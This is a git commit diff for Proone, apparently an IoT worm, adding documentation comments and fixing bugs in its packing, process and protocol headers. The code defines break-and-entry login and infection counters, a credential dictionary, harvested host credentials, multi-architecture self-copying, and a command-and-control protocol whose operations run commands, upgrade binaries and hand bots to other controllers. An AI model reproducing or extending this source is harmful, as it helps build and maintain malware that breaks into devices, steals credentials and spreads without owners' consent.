diff options
author | David Timber <mieabby@gmail.com> | 2021-12-06 15:21:52 +0800 |
---|---|---|
committer | David Timber <mieabby@gmail.com> | 2021-12-06 15:21:52 +0800 |
commit | 15ba357fa1b309171b4a6def367b7f82724f2e55 (patch) | |
tree | ab2856478a9e5c8764c002bac46194e4e38de4f3 | |
parent | f5d9956c3e2343455a3025b9d38c539b680da8f5 (diff) |
Documentation progress, bug fix, interface change
* Update vscode settings for Doxygen
* Fix mem leak in prne_index_bin_archive()
* Fix bug where errno is not set in prne_htbt_parse_args()
* Change names of parameter to prne_htbt_cp_hover()
* Add template for Doxygen comment blocks
-rw-r--r-- | doc/htbt.md | 6 | ||||
-rw-r--r-- | proone.code-workspace | 12 | ||||
-rw-r--r-- | src/pack.c | 1 | ||||
-rw-r--r-- | src/pack.h | 196 | ||||
-rw-r--r-- | src/proone.c | 2 | ||||
-rw-r--r-- | src/proone.h | 130 | ||||
-rw-r--r-- | src/protocol.c | 2 | ||||
-rw-r--r-- | src/protocol.h | 931 | ||||
-rw-r--r-- | templates/doxygen | 64 |
9 files changed, 1081 insertions, 263 deletions
diff --git a/doc/htbt.md b/doc/htbt.md index 7bf5f64..4fc9fb5 100644 --- a/doc/htbt.md +++ b/doc/htbt.md @@ -302,7 +302,7 @@ representation from/to two's complement representation. | | | required is not implemented | | PROTO_ERR | 0x02 | Protocol error was detected while processing frames | | ERRNO | 0x03 | Operation was not successful and *err* is set to errno | -| SUB | 0x04 | *err* is set to the error code returned from the module | +| SUB | 0x04 | *err* is set to the error code returned from the module | | LIMIT | 0x05 | Request could not be served because a limit was reached | ### Hostinfo Frame @@ -747,7 +747,7 @@ The submissive host is allowed to choose an alternative architecture if the one requested is unavailable when the **C**("compat") flag is set. The submissive host is required to transmit the copy of its executable if **S**("self") is set. The binary recombination target is specified in **os** and **arch** fields. -These fields are ignored if *S* is set. +These fields are ignored if **S** is set. ## Enum Codes ### CPU Architecture Codes @@ -781,7 +781,7 @@ More on arch codes in [dev_notes](dev_notes.md). | Enum | Value | Description | | ------- | ----- | ---------------------------------------------------------- | | NONE | 0x00 | Special value used to indicate that the code is not used | -| LINUX | 0x01 | Linux ABI | +| LINUX | 0x01 | Linux ABI (Linux Standard Base) | The OS codes are used to represent the ABI the executable is compiled against. Proone is designed with portability in mind and OS codes will be used to diff --git a/proone.code-workspace b/proone.code-workspace index 392cc94..a2fe85e 100644 --- a/proone.code-workspace +++ b/proone.code-workspace @@ -20,6 +20,16 @@ "-Wall", "-Wextra", "-Wno-switch", - "-Wno-unused-parameter"] + "-Wno-unused-parameter" + ], + "doxdocgen.cpp.tparamTemplate": "\\tparam {param} ", + "doxdocgen.file.versionTag": "\\version 0.1", + "doxdocgen.file.fileTemplate": "\\file {name}", + "doxdocgen.generic.authorTag": "\\author {author} ({email})", + "doxdocgen.generic.briefTemplate": "\\brief {text}", + "doxdocgen.generic.commandSuggestionAddPrefix": true, + "doxdocgen.generic.dateTemplate": "\\date {date}", + "doxdocgen.generic.paramTemplate": "\\param {param} ", + "doxdocgen.generic.returnTemplate": "\\return {type} " } } @@ -115,6 +115,7 @@ prne_pack_rc_t prne_index_bin_archive ( len -= 8; } + prne_free_bin_archive(out); out->data = data; out->data_size = len; out->nb_bin = nb_bin; @@ -1,3 +1,6 @@ +/** \file + * \brief Executable packing facility. + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -28,46 +31,62 @@ #include <zlib.h> +/* Alias declarations */ typedef struct prne_bin_host prne_bin_host_t; typedef struct prne_bin_tuple prne_bin_tuple_t; typedef struct prne_bin_archive prne_bin_archive_t; typedef struct prne_bin_rcb_ctx prne_bin_rcb_ctx_t; typedef struct prne_rcb_param prne_rcb_param_t; +// The pack function result codes typedef enum { - PRNE_PACK_RC_OK, - PRNE_PACK_RC_EOF, - PRNE_PACK_RC_INVAL, - PRNE_PACK_RC_FMT_ERR, - PRNE_PACK_RC_ERRNO, - PRNE_PACK_RC_Z_ERR, - PRNE_PACK_RC_NO_ARCH, - PRNE_PACK_RC_UNIMPL_REV, - - NB_PRNE_PACK_RC + PRNE_PACK_RC_OK, // Successful + PRNE_PACK_RC_EOF, // End of file reached + PRNE_PACK_RC_INVAL, // Invalid data + PRNE_PACK_RC_FMT_ERR, // Format error + PRNE_PACK_RC_ERRNO, // Syscall error, errno set + PRNE_PACK_RC_Z_ERR, // zlib function error + PRNE_PACK_RC_NO_ARCH, // Arch not found + PRNE_PACK_RC_UNIMPL_REV, // Unimplemented revision number + + NB_PRNE_PACK_RC // Meta: the number of result codes } prne_pack_rc_t; +// The executable host info record struct prne_bin_host { prne_os_t os; prne_arch_t arch; }; +// The executable host info record - executable size pair struct prne_bin_tuple { size_t size; prne_bin_host_t host; }; +// The indexed binary archive object struct prne_bin_archive { - const uint8_t *data; - size_t data_size; - size_t nb_bin; - prne_bin_tuple_t *bin; + const uint8_t *data; // The pointer to the start of the binary archive + size_t data_size; // The byte length of the binary archive + size_t nb_bin; // The number of the tuples + prne_bin_tuple_t *bin; // The array of the tuples }; -// Recombination Context +// The recombination context object struct prne_bin_rcb_ctx { - void *o_ctx; + void *o_ctx; // The opaque context + /** + * \brief The function used to free the opaque context. Not to be used + * directly. + * \note Use \c prne_free_bin_rcb_ctx() to free the object! + * \see \c prne_free_bin_rcb_ctx() + */ void (*ctx_free_f)(void*); + /** + * \brief The adaptive read callback function. Not to be used directly. + * \note Use \c prne_bin_rcb_read() + * \see \c prne_bin_rcb_read() + */ ssize_t(*read_f)( prne_bin_rcb_ctx_t *ctx, uint8_t *buf, @@ -76,6 +95,13 @@ struct prne_bin_rcb_ctx { int *err); }; +/** + * \brief The recombination parameter object for initiating binary + * recombination. The members are the parameters to \c prne_start_bin_rcb() + * call excluding the target info. An instance of this object is set up on + * program initialisation and shared globally. + * \see \c prne_start_bin_rcb() + */ struct prne_rcb_param { const uint8_t *m_self; size_t self_len; @@ -86,20 +112,96 @@ struct prne_rcb_param { const prne_bin_host_t *self; }; +/** + * \brief The binary archive identity magic "pr-ba" + * \see /doc/fmts.md + */ static const char PRNE_PACK_BA_IDEN_DATA[] = { 'p', 'r', '-', 'b', 'a' }; +/** + * \brief The nybin file format identity magic "nybin" + * \see /doc/fmts.md + */ static const char PRNE_PACK_NYBIN_IDEN_DATA[] = { 'n', 'y', 'b', 'i', 'n' }; +/** + * \brief The equality operator of the executable host info record + * \retval true if the contents of the records are equal. + * \retval false otherwise. + */ bool prne_eq_bin_host (const prne_bin_host_t *a, const prne_bin_host_t *b); +/** + * \brief The in-range operator of the executable host info record. Check both + * enums are in range(ie, recognised by the current implementation). + * \retval true if the enums are in range. + * \retval false otherwise. + */ bool prne_bin_host_inrange (const prne_bin_host_t *x); +/** + * \brief Initialise the indexed binary archive object. + * \note \p a can be freed using \c prne_free_bin_archive() once initialised. + * \see \c prne_free_bin_archive() + */ void prne_init_bin_archive (prne_bin_archive_t *a); +/** + * \brief Free resources allocated for the indexed binary archive object. + * \see \c prne_init_bin_archive() + */ void prne_free_bin_archive (prne_bin_archive_t *a); +/** + * \brief Index the binary archive from the binary. + * \param data The binary data, usually the address obtained using \c mmap() on + * the executable. + * \param len The byte length of the binary data. + * \param[out] out The pointer to the binary archive object for index info. + * \retval PRNE_PACK_RC_OK The binary archive has been successfully index and + * \p out is ready to use. + * \retval PRNE_PACK_RC_FMT_ERR The binary could not be parsed due to a format + * error. + * \retval PRNE_PACK_RC_UNIMPL_REV An unimplemented revision number encountered. + * \retval PRNE_PACK_RC_ERRNO A memory allocation error has occurred. \c errno + * is set to \c ENOMEM + * \note Any resource allocated previously for \p out is freed using + * \c prne_free_bin_archive() if the operation is successful. + */ prne_pack_rc_t prne_index_bin_archive ( const uint8_t *data, size_t len, prne_bin_archive_t *out); +/** + * \brief Initialise the recombination context object. + * \see \c prne_free_bin_rcb_ctx() + */ void prne_init_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); +/** + * \brief Free resources allocated for the recombination context object. + * \see \c prne_init_bin_rcb_ctx() + */ void prne_free_bin_rcb_ctx (prne_bin_rcb_ctx_t *ctx); +/** + * \brief Initiate binary recombination. Get the recombination context object + * ready for \c prne_bin_rcb_read() + * \param ctx The recombination context object. + * \param target The recombination target host info. + * \param self The executable host info record of the running executable. + * \param m_self The pointer to the start of the running executable (the image + * of the current process). Usually the address obtained using \c mmap() + * \param self_len The total byte length of the running executable(the size of + * the file). + * \param exec_len The byte length of the ELF part of the running executable. + * \param m_dvault The pointer to the start of the data vault binary. + * \param dvault_len The byte length of the data vault binary. + * \param ba The indexed binary archive object. + * \retval PRNE_PACK_RC_OK if the initiation was successful. + * \retval PRNE_PACK_RC_INVAL if \p ba is NULL, or \p target or \p self is not + * in range. + * \retval PRNE_PACK_RC_ERRNO if a memory allocation error has occurred and + * \c errno is set to \c ENOMEM + * \retval PRNE_PACK_RC_NO_ARCH if \p ba does not contain the executable for + * \p target + * \retval PRNE_PACK_RC_Z_ERR if a zlib function returned an error. Probably + * allocation error or an incompatible zlib variant. + */ prne_pack_rc_t prne_start_bin_rcb ( prne_bin_rcb_ctx_t *ctx, const prne_bin_host_t target, @@ -110,6 +212,14 @@ prne_pack_rc_t prne_start_bin_rcb ( const uint8_t *m_dvault, const size_t dvault_len, const prne_bin_archive_t *ba); +/** + * \brief A variant of \c prne_start_bin_rcb() that try to initiate for a + * compatible arch target on \c PRNE_PACK_RC_NO_ARCH + * \param[out] actual The pointer to the executable host info record for + * returning the actual target initiated (optional) + * \see \c prne_start_bin_rcb() + * \see \c prne_compat_arch() + */ prne_pack_rc_t prne_start_bin_rcb_compat ( prne_bin_rcb_ctx_t *ctx, const prne_bin_host_t target, @@ -121,6 +231,26 @@ prne_pack_rc_t prne_start_bin_rcb_compat ( const size_t dvault_len, const prne_bin_archive_t *ba, prne_bin_host_t *actual); +/** + * \brief Read the recombined binary. + * \param ctx The initiated recombination context object. + * \param buf The output buffer. + * \param len The number of bytes available in \p buf + * \param[out] prc The pointer to a pack function result code variable(optional) + * \param[out] err The pointer to an int for library function return values + * (optional) + * \return The number of bytes written to \p buf + * \retval 0 with \p prc PRNE_PACK_RC_OK means no data could be produced in a + * reasonable amount of CPU time and the function had to return for other + * threads. This is not an error and the function may be called again with the + * same arguments after yielding to other threads. + * \retval 0 with \p prc PRNE_PACK_RC_EOF means all the data for the target + * has been produced and the output file can be closed. The subsequent calls + * will result in the same return values. + * \retval -1 on error. \p ctx cannot be used for read and must be freed or + * reinitialised. \p prc is set to either \c PRNE_PACK_RC_ERRNO or + * \c PRNE_PACK_RC_Z_ERR + */ ssize_t prne_bin_rcb_read ( prne_bin_rcb_ctx_t *ctx, uint8_t *buf, @@ -128,6 +258,20 @@ ssize_t prne_bin_rcb_read ( prne_pack_rc_t *prc, int *err); +/** + * \brief Index the NYBIN file. The file must be mmaped first. + * \param[in] m_nybin The pointer to the start of the contents of the NYBIN file. + * \param[in] nybin_len The byte length of the contents of the NYBIN file. + * \param[out] m_dv The start of the data vault. + * \param[out] dv_len The byte length of the data vault. + * \param[out] m_ba The start of the binary archive. + * \param[out] ba_len The byte length of the binary archive. + * \retval true if the parsing was successful and the output parameters are all + * set. + * \retval false with \c errno set to \c EPROTO on invalid format. + * \retval false with \c errno set to \c ENOSYS if the revision of the file is + * unrecognised. + */ bool prne_index_nybin ( const uint8_t *m_nybin, const size_t nybin_len, @@ -136,9 +280,29 @@ bool prne_index_nybin ( const uint8_t **m_ba, size_t *ba_len); +/** + * \brief Initialise the recombination parameter object. Reserved for any + * dynamically allocated members in the future. + */ void prne_init_rcb_param (prne_rcb_param_t *rp); +/** + * \brief Free resources allocated for the recombination parameter object. + * Reserved for any dynamically allocated members in the future. + */ void prne_free_rcb_param (prne_rcb_param_t *rp); +/** + * \brief Get the array of the compatible arches for \p arch + * \retval NULL if there's no known compatible arch for \p arch + * \return The pointer to an internal array, terminated by \c PRNE_ARCH_NONE + * \see \c prne_start_bin_rcb_compat() + * \note This function can be used to examine the "compat tree" of the arches. + */ const prne_arch_t *prne_compat_arch (const prne_arch_t arch); +/** + * \brief Get the descriptive string for the enum value. + * \retval NULL if \p prc is not in range. + * \return The pointer to the internal string describing the enum value. + */ const char *prne_pack_rc_tostr (const prne_pack_rc_t prc); diff --git a/src/proone.c b/src/proone.c index dae5fad..3f44b33 100644 --- a/src/proone.c +++ b/src/proone.c @@ -1162,6 +1162,8 @@ static bool init_shared_global (void) { // Session init code goes here prne_memzero(prne_s_g->upbin_path, sizeof(prne_s_g->upbin_path)); prne_memzero(prne_s_g->upbin_args, sizeof(prne_s_g->upbin_args)); + prne_g.shm_fd = fd; + fd = -1; } END: diff --git a/src/proone.h b/src/proone.h index c45f0ae..1767016 100644 --- a/src/proone.h +++ b/src/proone.h @@ -1,3 +1,7 @@ +/** \file + * \brief The Proone instance process implementation header. This header + * separates the structures and macros from proone.c for ease of maintenance. + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -35,47 +39,116 @@ #include <mbedtls/entropy.h> #include <mbedtls/ctr_drbg.h> - +// The maximum number of the BNE worker instances. #define PROONE_BNE_MAX_CNT 128 -struct prne_global { // TODO: tidy init code when finalised +// The process global resources. +struct prne_global { + // The parent process start time(CLOCK_MONOTONIC) struct timespec parent_start; + // The child process start time(CLOCK_MONOTONIC) struct timespec child_start; + /** + * \brief The boot uuid read off the platform. + * \see random(4) + */ uint8_t boot_id[16]; + /** + * \brief The instance id, an uuid randomly generated on the first parent + * process initialisation. The id is preserved if shm is available on the + * host. + * \see \c prne_shared_global + */ uint8_t instance_id[16]; + /** + * \brief The main Pth thread handle obtained after the initialisation of + * the library for convenience. Upon initialisation, the main thread of the + * process becomes the "main pth thread". This handle never changes so + * Proone keeps it in the global to save CPU time on the function call to + * retrieve it every time it is required. + */ pth_t main_pth; - /* - * Could be NULL. Just keep infecting other machines without it. - */ + /** + * \brief (optional) The resolv worker. The Proone instance will operate + * without the worker if it fails to launch the worker. The services that + * depend on the resolv worker, the CNCP for example, will not be + * operational. + */ prne_resolv_t *resolv; - pid_t parent_pid; - pid_t child_pid; + pid_t parent_pid; // The parent process id + pid_t child_pid; // The child process id obtained upon successful fork() + /** + * \brief The "black hole" file descriptor is required by some workers(e.g + * the CNCP). The null device is usually used if available and falls back + * to the use of \c pipe() . The first element is only there to keep the + * pipe open in case \c pipe() is used. Use the second element for + * launching workers! + * \note The workers do not actually try to write anything on the black hole + * file. The black hole file is only used to make \c poll() return + * immediately. + * \see \c open_blackhole() + */ int blackhole[2]; + /** + * \brief The backing file of the shared global. The file must be kept open + * to retain the lock on the file. + * \see \c prne_shared_global() + */ int shm_fd; + // The recombination parameter shared among the workers prne_rcb_param_t rcb_param; + // The executable host info of the instance prne_bin_host_t bin_host; + // The pointer to the data vault from the process image uint8_t *m_dvault; + // True if the process is the child process bool is_child; + /* + * True if the process image contains the binary archive. The binary archive + * is the largest portion of the data appended to the ELF. This flag will + * come in handy when investigating incomplete transmission of binary data. + * Note that you may run Proone without the ba for debugging purposes, but + * you'd want to release Proone with the ba. + */ bool has_ba; + // The bit flags for the htbt hostinfo request uint8_t flags[prne_bf_get_size(NB_PRNE_IFLAG)]; + /* + * The indexed binary archive. The has_ba member can be used to determine if + * the executable has an empty ba or no ba at all. + */ prne_bin_archive_t bin_archive; + // The credential dictionary deserialised from the data vault prne_cred_dict_t cred_dict; + // The objects for TLS struct { - mbedtls_x509_crt ca; + mbedtls_x509_crt ca; // The CA cert chain + /** + * \brief The entropy source. Note that Proone makes some modiifcations + * on the object to get around the issue associated with the platform + * entropy source. + * \see \c prne_mbedtls_entropy_init() + */ mbedtls_entropy_context entpy; + /* + * The CTR_DRBG PRNG engine. Shared among the workers that require a + * cryptographically-secure PRNG. + */ mbedtls_ctr_drbg_context rnd; } ssl; + // The TLS objects for listen sockets struct { - bool ready; + bool ready; // True if the objects are successfully initialised for use mbedtls_ssl_config conf; mbedtls_x509_crt crt; mbedtls_pk_context pk; mbedtls_dhm_context dhm; } s_ssl; + // The TLS objects for client connections struct { - bool ready; + bool ready; // True if the objects are successfully initialised for use mbedtls_ssl_config conf; mbedtls_x509_crt crt; mbedtls_pk_context pk; @@ -83,24 +156,37 @@ struct prne_global { // TODO: tidy init code when finalised }; struct prne_shared_global { - // Format Revision - uint8_t rev; - // Number of child process crash. - uint32_t crash_cnt; - // "break and entry" count. Number of successful logins. + uint8_t rev; // The format revision number + uint32_t crash_cnt; // The number of child process crash events + // "break and entry" count - the number of successful logins uint64_t bne_cnt; - // Number of successful infections. + /* + * The number of successful infections - the number of successful instance + * launches + */ uint64_t infect_cnt; - // null-terminated path to the new binary image + /* + * The null-terminated path to the new process image downloaded from the + * peer + */ char upbin_path[256]; + /** + * \brief The arguments to exec() call, in the serialised form + * \see \c prne_htbt_parse_args() + */ char upbin_args[1024]; + // The byte length of the contents of host_cred_data size_t host_cred_len; + /** + * \brief The host credential data of the instance, in the serialised form. + * \see \c prne_dec_host_cred() + */ uint8_t host_cred_data[255]; + // The preserved instance id generated on the first instance launch uint8_t instance_id[16]; + /** + * \brief The id of the instance infected the instance + * \see /doc/htbt.md + */ uint8_t org_id[16]; }; - - -extern struct prne_global prne_g; -// could be NULL on some environments -extern struct prne_shared_global *prne_s_g; diff --git a/src/protocol.c b/src/protocol.c index 6cff4a5..0ea8038 100644 --- a/src/protocol.c +++ b/src/protocol.c @@ -1124,6 +1124,7 @@ char **prne_htbt_parse_args ( while (ptr < end) { next = prne_strnchr(ptr, 0, end - ptr); if (next == NULL) { + errno = EINVAL; return NULL; // reject non-null-terminated } else { @@ -1135,6 +1136,7 @@ char **prne_htbt_parse_args ( } cnt += add_argc; if (cnt > max_args) { + errno = E2BIG; return NULL; } diff --git a/src/protocol.h b/src/protocol.h index 600be8a..99fb198 100644 --- a/src/protocol.h +++ b/src/protocol.h @@ -1,3 +1,7 @@ +/** \file + * \brief The protocol header. All the facilities related to over-the-wire data + * formats are defined here. + */ /* * Copyright (c) 2019-2021 David Timber <mieabby@gmail.com> * @@ -27,12 +31,24 @@ #include <stdbool.h> #include <netinet/in.h> - +/** \def PRNE_PROONE_EC_OK PRNE_PROONE_EC_FAIL PRNE_PROONE_EC_LOCK + * \brief The exit codes. + */ +/* Graceful termination + * Note that the child process raises SIGTERM to serve executable upgrade + * request. In such case, the parent process tries exec(), not exit(0). + */ #define PRNE_PROONE_EC_OK 0 +// General fatal failure. Generally the initialisation error. #define PRNE_PROONE_EC_FAIL 1 +/* + * The process could not continue because an instance is already running on the + * system. + */ #define PRNE_PROONE_EC_LOCK 3 +/* Forward declarations */ typedef struct prne_net_endpoint prne_net_endpoint_t; typedef struct prne_ip_addr prne_ip_addr_t; typedef struct prne_host_cred prne_host_cred_t; @@ -45,511 +61,970 @@ typedef struct prne_htbt_hover prne_htbt_hover_t; typedef struct prne_htbt_stdio prne_htbt_stdio_t; typedef struct prne_htbt_rcb prne_htbt_rcb_t; +// The OS codes typedef enum { PRNE_OS_NONE, - PRNE_OS_LINUX, + PRNE_OS_LINUX, // Linux ABI NB_PRNE_OS } prne_os_t; PRNE_LIMIT_ENUM(prne_os_t, NB_PRNE_OS, 0xFE); +// The CPU architecture codes typedef enum { - PRNE_ARCH_NONE, - - PRNE_ARCH_I686, - PRNE_ARCH_X86_64, - PRNE_ARCH_ARMV4T, - PRNE_ARCH_ARMV7, - PRNE_ARCH_AARCH64, - PRNE_ARCH_MIPS, - PRNE_ARCH_MPSL, - PRNE_ARCH_PPC, - PRNE_ARCH_SH4, - PRNE_ARCH_M68K, - PRNE_ARCH_ARC, - PRNE_ARCH_ARCEB, - - NB_PRNE_ARCH + PRNE_ARCH_NONE, // The null value + + PRNE_ARCH_I686, // Intel P6 microarchitecture (Pentium Pro) + PRNE_ARCH_X86_64, // AMD64 Opteron "SledgeHammer" + PRNE_ARCH_ARMV4T, // ARM v4 w/ MMU, Thumb (ARM920T) + PRNE_ARCH_ARMV7, // ARM v7 w/ MMU, Thumb-2, VFPv4 FPU (Cortex-A5) + PRNE_ARCH_AARCH64, // AArch64 (Cortex-A35) + PRNE_ARCH_MIPS, // MIPS 1 (R3000) running in big-endian mode + PRNE_ARCH_MPSL, // MIPS 1 (R3000) running in little-endian mode + PRNE_ARCH_PPC, // PowerPC 1 + PRNE_ARCH_SH4, // Renesas SuperH 4 + PRNE_ARCH_M68K, // Motorola 68040 + PRNE_ARCH_ARC, // DesignWare ARC Processor running in little-endian mode + PRNE_ARCH_ARCEB, // DesignWare ARC Processor running in big-endian mode + + NB_PRNE_ARCH // Meta value: the number of enums } prne_arch_t; PRNE_LIMIT_ENUM(prne_arch_t, NB_PRNE_ARCH, 0xFE); // Instance flags typedef enum { - PRNE_IFLAG_NONE = -1, + PRNE_IFLAG_NONE = -1, // The null value - PRNE_IFLAG_BA, // bin archive - PRNE_IFLAG_INIT_RUN, // initial run - PRNE_IFLAG_WKR_RCN, - PRNE_IFLAG_WKR_RESOLV, - PRNE_IFLAG_WKR_HTBT, + PRNE_IFLAG_BA, // The instance has ba. + // The instance has started for the first time on the host + PRNE_IFLAG_INIT_RUN, + PRNE_IFLAG_WKR_RCN, // The recon worker running. + PRNE_IFLAG_WKR_RESOLV, // The resolv worker running. + PRNE_IFLAG_WKR_HTBT, // The htbt worker running. - NB_PRNE_IFLAG + NB_PRNE_IFLAG // Meta value: the number of enums. } prne_iflag_t; +// The internet protocol version typedef enum { - PRNE_IPV_NONE, - PRNE_IPV_4, - PRNE_IPV_6 + PRNE_IPV_NONE, // The null value + PRNE_IPV_4, // The internet protocol version 4 + PRNE_IPV_6 // The internet protocol version 6 } prne_ipv_t; +// IP header sanity check prne_static_assert( sizeof(struct in_addr) == 4, "sizeof(struct in_addr) == 4"); +// IP header sanity check prne_static_assert( sizeof(struct in6_addr) == 16, "sizeof(struct in6_addr) == 16"); +// The IP address object capable of storing an IP address of IPv4 and IPv6 struct prne_ip_addr { - uint8_t addr[16]; - prne_ipv_t ver; - uint32_t scope_id; + uint8_t addr[16]; // The address storage in the network order + prne_ipv_t ver; // The internet protocol version of the address + uint32_t scope_id; // The scope id used for IPv4 }; +// The IP endpoint object used to describe a UDP or TCP over IP end-point struct prne_net_endpoint { - prne_ip_addr_t addr; - uint16_t port; + prne_ip_addr_t addr; // The IP address object + uint16_t port; // The port number in the host endian }; +// The host credential object struct prne_host_cred { - char *id; - char *pw; + char *id; // The null-terminated username string (dynamically allocated) + char *pw; // The null-terminated password string (dynamically allocated) }; -/* Heartbeat Frame OP Codes -* All messages start with uint16_t 'msg_id', whose most significant bit is -* used to indicate whether the message is a initiation(1) or a response(0). -* 'msg_id' is a randomly generated by either end of connection. The value 0 is -* only valid for `PRNE_HTBT_OP_NOOP`(so that NOOP message is either 23 or 24 -* zeroes over the wire). -* 'msg_id' is followed by uint8_t 'op', which holds a `prne_htbt_op_t` value. -* The length of data follows varies depending on 'op'. -*/ +// The heartbeat framing protocol OP codes typedef enum { - PRNE_HTBT_OP_NONE = -1, - - /* NOOP(keep-alive message): followed by nothing - */ - PRNE_HTBT_OP_NOOP, - /* Operation Status - * Followed by: - * uint8_t code: prne_htbt_status_t - * int32_t err: errno value(used for `PRNE_HTBT_STATUS_ERRNO`) - */ - PRNE_HTBT_OP_STATUS, - /* Host Info Operation: followed by nothing - * - * The submissive end's response format: - * uint8_t prog_ver[16] - * uint8_t boot_id[16] - * uint8_t instance_id[16] - * uint8_t org_id[16] - * uint32_t parent_uptime : in seconds - * uint32_t child_uptime : in seconds - * uint64_t bne_cnt : break-and-entry count - * uint64_t infect_cnt : infect count ( <= 'bne_cnt') - * uint32_t crash_cnt - * uint32_t parent_pid - * uint32_t child_pid - * uint8_t host_cred_len - * uint8_t arch : `prne_arch_t` value - * uint8_t os - * uint8_t bf_len - * uint8_t host_cred[host_cred_len] - * uint8_t bf[bf_len] - */ - PRNE_HTBT_OP_HOST_INFO, - /* Hand Over Operation - * Upon reception of message, the submissive end should conclude - * the connection and get further instruction(op) from the host - * described in the message. - * - * Followed by: - * uint8_t addr_4[4] - * uint16_t port_4 - * uint8_t addr_6[16] - * uint16_t port_6 - */ - PRNE_HTBT_OP_HOVER, - /* OP Solicit Operation: followed by nothing - * This op is used by the submissive end to solicit instruction(op) from - * the authoritive end. This op is used when the submissive end has - * connected to the authoritive end after having been instructed by - * the previous authoritive end(PRNE_HTBT_OP_HOVER). - */ - PRNE_HTBT_OP_SOLICIT, - /* Run Command Operation - * TODO - * - * Followed by - * uint5_t rsv - * uint1_t detach - * uint10_t args_len : the length of 'args' - * char args[len] : the series of null-terminated string for exec*() - */ - PRNE_HTBT_OP_RUN_CMD, - /* Binary Upgrade Operation - * TODO - * - * Followed by: - * uint24_t alloc_len - * uint5_t rsv - * uint1_t detach - * uint10_t args_len - * char args[args_len] - */ - PRNE_HTBT_OP_UP_BIN, - /* Run Binary Operation - * TODO - * - * Followed by: - * uint24_t alloc_len - * uint5_t rsv - * uint1_t detach - * uint10_t args_len - * char args[args_len] - */ - PRNE_HTBT_OP_RUN_BIN, - /* STDIO Frame - * TODO - * - * uint1_t err : 0 - stdin/stdout, 1 - stderr - * uint1_t fin - * uint2_t rsv - * uint12_t len - */ - PRNE_HTBT_OP_STDIO, - /* Binary Recombination Operation - * TODO - * - * uint1_t compat : allow fallback to compatible arch - * uint1_t self : os and arch not used if true - * uint6_t rsv - * uint8_t os - * uint8_t arch - */ - PRNE_HTBT_OP_RCB, - - NB_PRNE_HTBT_OP + PRNE_HTBT_OP_NONE = -1, // The null value + + PRNE_HTBT_OP_NOOP, // No operation + PRNE_HTBT_OP_STATUS, // Status operation + PRNE_HTBT_OP_HOST_INFO, // Host info operation + PRNE_HTBT_OP_HOVER, // Hand-over operation + PRNE_HTBT_OP_SOLICIT, // Solicit operation + PRNE_HTBT_OP_RUN_CMD, // Execute operation + PRNE_HTBT_OP_UP_BIN, // Binary upgrade operation + PRNE_HTBT_OP_RUN_BIN, // Execute binary operation + PRNE_HTBT_OP_STDIO, // STDIO frame + PRNE_HTBT_OP_RCB, // Binary recombination operation + + NB_PRNE_HTBT_OP // Meta value: the number of enums } prne_htbt_op_t; PRNE_LIMIT_ENUM(prne_htbt_op_t, NB_PRNE_HTBT_OP, 0xFE); +// The heartbeat framing protocol status codes typedef enum { - PRNE_HTBT_STATUS_OK, - PRNE_HTBT_STATUS_UNIMPL, - /* Protocol error detected. Mosts likely a format error. - * An int32_t that follows is not used. - */ - PRNE_HTBT_STATUS_PROTO_ERR, - /* An internal error occurred whilst processing request. - * Followed by int32_t which represents the errno set during the operation. - */ - PRNE_HTBT_STATUS_ERRNO, - PRNE_HTBT_STATUS_SUB, - PRNE_HTBT_STATUS_LIMIT, - - NB_PRNE_HTBT_STATUS + PRNE_HTBT_STATUS_OK, // Operation successful + PRNE_HTBT_STATUS_UNIMPL, // Function not implemented + PRNE_HTBT_STATUS_PROTO_ERR, // Protocol error + PRNE_HTBT_STATUS_ERRNO, // errno set + PRNE_HTBT_STATUS_SUB, // Error returned from module + PRNE_HTBT_STATUS_LIMIT, // Limit reached + + NB_PRNE_HTBT_STATUS // Meta value: the number of enums } prne_htbt_status_code_t; PRNE_LIMIT_ENUM(prne_htbt_status_code_t, NB_PRNE_HTBT_STATUS, 0xFF); +// The heartbeat framing protocol (de)serialisaion function result codes typedef enum { - PRNE_HTBT_SER_RC_OK, + PRNE_HTBT_SER_RC_OK, // Success + // More input data required or more output buffer required PRNE_HTBT_SER_RC_MORE_BUF, - PRNE_HTBT_SER_RC_ERRNO, - PRNE_HTBT_SER_RC_FMT_ERR, + PRNE_HTBT_SER_RC_ERRNO, // errno set + PRNE_HTBT_SER_RC_FMT_ERR, // Input data format error - NB_PRNE_HTBT_SER_RC -} prne_htbt_ser_rc_t; // serialise result code + NB_PRNE_HTBT_SER_RC // Meta value: the number of enums +} prne_htbt_ser_rc_t; +// The heartbeat framing protocol message header frame struct prne_htbt_msg_head { - prne_htbt_op_t op; - uint16_t id; // != 0 (except NOOP) - bool is_rsp; + prne_htbt_op_t op; // The OP code + uint16_t id; // The message id + bool is_rsp; // The response flag }; +// The heartbeat framing protocol status frame struct prne_htbt_status { - prne_htbt_status_code_t code; - int32_t err; + prne_htbt_status_code_t code; // The status code + int32_t err; // The sub-status code }; +// The heartbeat framing protocol hostinfo frame struct prne_htbt_host_info { - uint32_t parent_uptime; - uint32_t child_uptime; - uint64_t bne_cnt; - uint64_t infect_cnt; - uint32_t parent_pid; - uint32_t child_pid; - uint8_t prog_ver[16]; - uint8_t boot_id[16]; - uint8_t instance_id[16]; - uint8_t org_id[16]; - uint8_t *host_cred; - size_t host_cred_len; - size_t bf_len; - uint8_t *bf; - uint32_t crash_cnt; - prne_arch_t arch; - prne_os_t os; + uint32_t parent_uptime; // The parent process uptime in seconds + uint32_t child_uptime; // The child process uptime in seconds + uint64_t bne_cnt; // The "break and entry" count + uint64_t infect_cnt; // The infect count + uint32_t parent_pid; // The parent process id + uint32_t child_pid; // The child process id + uint8_t prog_ver[16]; // The program version uuid + uint8_t boot_id[16]; // The boot uuid + uint8_t instance_id[16]; // The instance uuid + uint8_t org_id[16]; // The instance uuid of the instance infected the host + uint8_t *host_cred; // The host credential data + size_t host_cred_len; // The byte length of the host credential data + size_t bf_len; // The byte length of the diagnostic bit field + uint8_t *bf; // The diagnostic bit field + uint32_t crash_cnt; // The crash count + prne_arch_t arch; // The CPU architecture code of the host + prne_os_t os; // The OS code of the host }; +// The heartbeat framing protocol command frame struct prne_htbt_cmd { - char *mem; - size_t mem_len; - char **args; - uint8_t argc; - bool detach; + char *mem; // The linear memory for storing the argument vector + size_t mem_len; // The byte length of the linear memory + char **args; // The array of pointers to the strings in the linear memory + uint8_t argc; // The number of elements in the array + 